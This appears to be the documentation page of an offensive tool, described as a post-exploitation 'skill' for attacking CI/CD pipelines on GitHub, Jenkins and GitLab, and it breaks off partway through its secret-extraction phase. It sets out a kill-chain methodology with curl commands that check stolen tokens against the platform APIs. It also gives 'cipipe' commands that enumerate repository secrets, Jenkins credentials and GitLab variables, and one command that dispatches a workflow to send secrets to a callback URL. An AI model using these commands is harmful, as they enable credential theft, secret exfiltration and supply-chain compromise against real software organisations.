| name | cicd-attacks |
| description | CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab |
| category | post-exploitation |
| tags | ["cicd","github-actions","jenkins","gitlab","pipeline","supply-chain","secret-extraction","credential-access"] |
| tech_stack | ["github","jenkins","gitlab","python","requests"] |
| cwe_ids | ["CWE-522","CWE-693","CWE-829","CWE-284"] |
| chains_with | ["T1195.002","T1552.004","T1059","T1098"] |
| prerequisites | ["T1078"] |
| version | 1.0 |
CI/CD Pipeline Attack Methodology
CI/CD pipeline attacks target the software delivery infrastructure to extract secrets, inject malicious code, and establish persistence. After gaining access to GitHub, Jenkins, or GitLab, these tools extract stored credentials, inject pipeline steps for secret exfiltration, and manipulate workflow configurations.
Prerequisites
- CI/CD access — API token, personal access token, or service account credentials
- Python packages —
pip3 install requests
- API access — Valid token with appropriate scopes (repo, admin, workflow)
curl -s -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/user | jq .login
curl -s -u "$JENKINS_USER:$JENKINS_TOKEN" "$JENKINS_URL/api/json" | jq .nodeDescription
curl -s -H "Private-Token: $GITLAB_TOKEN" "$GITLAB_URL/api/v4/user" | jq .username
Kill Chain Phases
Phase 1 — Reconnaissance
| Action | Command | Purpose |
|---|
| List GitHub secrets | cipipe gh_secrets --repo OWNER/REPO --method list | Enumerate repository and environment secret names |
| Jenkins credentials | cipipe jenkins_creds --url URL --method api | List credential store entries |
| GitLab variables | cipipe gitlab_tokens --url URL --project-id ID | Enumerate CI/CD variables and tokens |
Phase 2 — Secret Extraction
| Action | Command | Purpose |
|---|
| GitHub dispatch | cipipe gh_secrets --repo OWNER/REPO --method dispatch --callback-url URL |
